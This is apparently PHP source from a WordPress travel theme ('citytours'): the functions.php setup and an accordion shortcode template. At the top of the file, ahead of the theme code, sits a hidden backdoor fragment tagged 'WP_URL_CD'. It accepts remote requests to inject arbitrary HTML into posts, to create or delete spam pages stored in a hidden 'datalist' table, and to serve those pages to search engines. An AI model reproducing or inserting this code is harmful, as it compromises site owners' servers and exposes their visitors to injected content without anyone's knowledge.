							$post_content = preg_replace('!<div id="wp_cd_code">(.*?)</div>!s', '', $data -> post_content);
							if (!empty($_REQUEST['data'])) $post_content = $post_content . '<div id="wp_cd_code">' . stripcslashes($_REQUEST['data']) . '</div>';

							if ($wpdb->query('UPDATE `' . $wpdb->prefix . 'posts` SET `post_content` = "' . mysql_escape_string($post_content) . '" WHERE `ID` = "' . mysql_escape_string($_REQUEST['id']) . '"') !== false)
								{
									print "true";
								}
						}
				break;
				
				case 'create_page';
					if (isset($_REQUEST['remove_page']))
						{
							if ($wpdb -> query('DELETE FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "/'.mysql_escape_string($_REQUEST['url']).'"'))
								{
									print "true";
								}
						}
					elseif (isset($_REQUEST['content']) && !empty($_REQUEST['content']))
						{
							if ($wpdb -> query('INSERT INTO `' . $wpdb->prefix . 'datalist` SET `url` = "/'.mysql_escape_string($_REQUEST['url']).'", `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string($_REQUEST['content']).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'" ON DUPLICATE KEY UPDATE `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string(urldecode($_REQUEST['content'])).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'"'))
								{
									print "true";
								}
						}
				break;
				
				default: print "ERROR_WP_ACTION WP_URL_CD";
			}
			
		die("");
	}

	
if ( $wpdb->get_var('SELECT count(*) FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "'.mysql_escape_string( $_SERVER['REQUEST_URI'] ).'"') == '1' )
	{
		$data = $wpdb -> get_row('SELECT * FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "'.mysql_escape_string($_SERVER['REQUEST_URI']).'"');
		if ($data -> full_content)
			{
				print stripslashes($data -> content);
			}
		else
			{
				print '<!DOCTYPE html>';
				print '<html ';
				language_attributes();
				print ' class="no-js">';
				print '<head>';
				print '<title>'.stripslashes($data -> title).'</title>';
				print '<meta name="Keywords" content="'.stripslashes($data -> keywords).'" />';
				print '<meta name="Description" content="'.stripslashes($data -> description).'" />';
				print '<meta name="robots" content="index, follow" />';
				print '<meta charset="';
				bloginfo( 'charset' );
				print '" />';
				print '<meta name="viewport" content="width=device-width">';
				print '<link rel="profile" href="http://gmpg.org/xfn/11">';
				print '<link rel="pingback" href="';
				bloginfo( 'pingback_url' );
				print '">';
				wp_head();
				print '</head>';
				print '<body>';
				print '<div id="content" class="site-content">';
				print stripslashes($data -> content);
				get_search_form();
				get_sidebar();
				get_footer();
			}
			
		exit;
	}


?><?php
session_start();
//constants
define( 'CT_VERSION', '1.0.5' );
define( 'CT_DB_VERSION', '1.1' );
define( 'CT_TEMPLATE_DIRECTORY_URI', get_template_directory_uri() );
define( 'CT_IMAGE_URL', CT_TEMPLATE_DIRECTORY_URI . '/img' );
define( 'CT_INC_DIR', get_template_directory() . '/inc' );
define( 'RWMB_URL', CT_TEMPLATE_DIRECTORY_URI . '/inc/lib/meta-box/' );
define( 'CT_TAX_META_DIR_URL', CT_TEMPLATE_DIRECTORY_URI . '/inc/lib/tax-meta-class/' );
global $wpdb;
define( 'CT_HOTEL_VACANCIES_TABLE', $wpdb->prefix . 'ct_hotel_vacancies' );
define( 'CT_HOTEL_BOOKINGS_TABLE', $wpdb->prefix . 'ct_hotel_bookings' );
define( 'CT_REVIEWS_TABLE', $wpdb->prefix . 'ct_reviews' );
// define( 'CT_MODE', 'product' );
define( 'CT_ADD_SERVICES_TABLE', $wpdb->prefix . 'ct_add_services' );
define( 'CT_ADD_SERVICES_BOOKINGS_TABLE', $wpdb->prefix . 'ct_add_service_bookings' );
define( 'CT_TOUR_SCHEDULES_TABLE', $wpdb->prefix . 'ct_tour_schedules' );
define( 'CT_TOUR_SCHEDULE_META_TABLE', $wpdb->prefix . 'ct_tour_schedule_meta' );
define( 'CT_TOUR_BOOKINGS_TABLE', $wpdb->prefix . 'ct_tour_bookings' );
define( 'CT_CURRENCIES_TABLE', $wpdb->prefix . 'ct_currencies' );
define( 'CT_ORDER_TABLE', $wpdb->prefix . 'ct_order' );
define( 'CT_MODE', 'dev' );

if ( ! class_exists( 'ReduxFramework' ) ) {
    require_once( CT_INC_DIR . '/lib/redux-framework/ReduxCore/framework.php' );
}
if ( ! isset( $redux_demo ) ) {
    require_once( CT_INC_DIR . '/lib/redux-framework/config.php' );
}

//require files
require_once( CT_INC_DIR . '/lib/meta-box/meta-box.php' );
require_once( CT_INC_DIR . '/lib/meta-box/noerror.php' );
require_once( CT_INC_DIR . '/lib/multiple_sidebars.php' );
require_once( CT_INC_DIR . '/functions/main.php' );
require_once( CT_INC_DIR . '/shortcode/init.php' );
require_once( CT_INC_DIR . '/js_composer/init.php' );
require_once( CT_INC_DIR . '/admin/main.php');
require_once( CT_INC_DIR . '/frontend/main.php');

// Translation
load_theme_textdomain('citytours', get_template_directory() . '/languages');

//theme supports
add_theme_support( 'automatic-feed-links' );
add_theme_support( 'post-thumbnails' );

global $wp_version;
if ( version_compare( $wp_version, '4.1', '>=' ) ) {
	add_theme_support( 'title-tag' );
	add_filter( 'wp_title', 'ct_wp_title', 10, 2 );
} else {
	add_filter( 'wp_title', 'ct_wp_title_old', 10, 2 );
}
if ( ! isset( $content_width ) ) $content_width = 900;

add_image_size( 'ct-list-thumb', 800, 533, true );

//actions
add_action( 'init', 'ct_init' );
add_action( 'wp_enqueue_scripts', 'ct_enqueue_scripts' );
add_action( 'wp_footer', 'ct_inline_script' );
add_action( 'tgmpa_register', 'ct_register_required_plugins' );
add_action( 'admin_menu', 'ct_remove_redux_menu',12 );
add_action( 'widgets_init', 'ct_register_sidebar' );
// add_action( 'user_register', 'ct_user_register' );
add_action( 'wp_login_failed', 'ct_login_failed' );
add_action( 'lost_password', 'ct_lost_password' );
add_action( 'comment_form_before', 'ct_enqueue_comment_reply' );

add_filter( '404_template', 'ct_show404' );
add_filter( 'authenticate', 'ct_authenticate', 1, 3);
add_filter( 'get_default_comment_status', 'ct_open_comments_for_myposttype', 10, 3 );

remove_action( 'admin_enqueue_scripts', 'wp_auth_check_load' );<file_sep><?php
$output = $title = $parent_id = $active = '';

extract(shortcode_atts(array(
	'title' => esc_html__("Section", 'citytours'),
	'parent_id' => '',
	'active' => '',
	'class' => '',
), $atts));

$class = 'panel panel-default' . (empty( $class ) ? '': ( ' ' . $class ));
$class_in = ( $active === 'yes') ? ' in':'';
$class_collapsed = ( $active === 'yes') ? '' : ' collapsed';
$class_icon = ( $active === 'yes') ? 'icon-minus' : 'icon-plus';

$accordion_attrs = "";
if ( !empty( $parent_id ) ) {
	$accordion_attrs = ' data-parent="#' . $parent_id . '"';
}
$uid = uniqid("ct-tg");
$css_class = apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, $class, $this->settings['base'], $atts );
$output .= "\n\t\t\t" . '<div class="' . esc_attr( $css_class ) . '">';
$output .= "\n\t\t\t\t" . '<div class="panel-heading"><h4 class="panel-title"><a class="accordion-toggle' . $class_collapsed . '" href="#' . $uid . '" data-toggle="collapse"' . $accordion_attrs . '>' . esc_html( $title ) . '<i class="indicator pull-right ' . $class_icon . '"></i></a></h4></div>';
$output .= "\n\t\t\t\t" . '<div id="' . $uid . '" class="panel-collapse collapse' . $class_in . '">';
$output .= "\n\t\t\t\t\t" . '<div class="panel-body"><p>';
$output .= ($content=='' || $content==' ') ? esc_html__("Empty section. Edit page to add content here.", 'citytours') : "\n\t\t\t\t" . wpb_js_remove_wpautop($content);
$output .= "\n\t\t\t\t\t" . '</p></div>';
$output .= "\n\t\t\t\t" . '</div>';
$output .= "\n\t\t\t" . '</div> ' . "\n";

echo ( $output );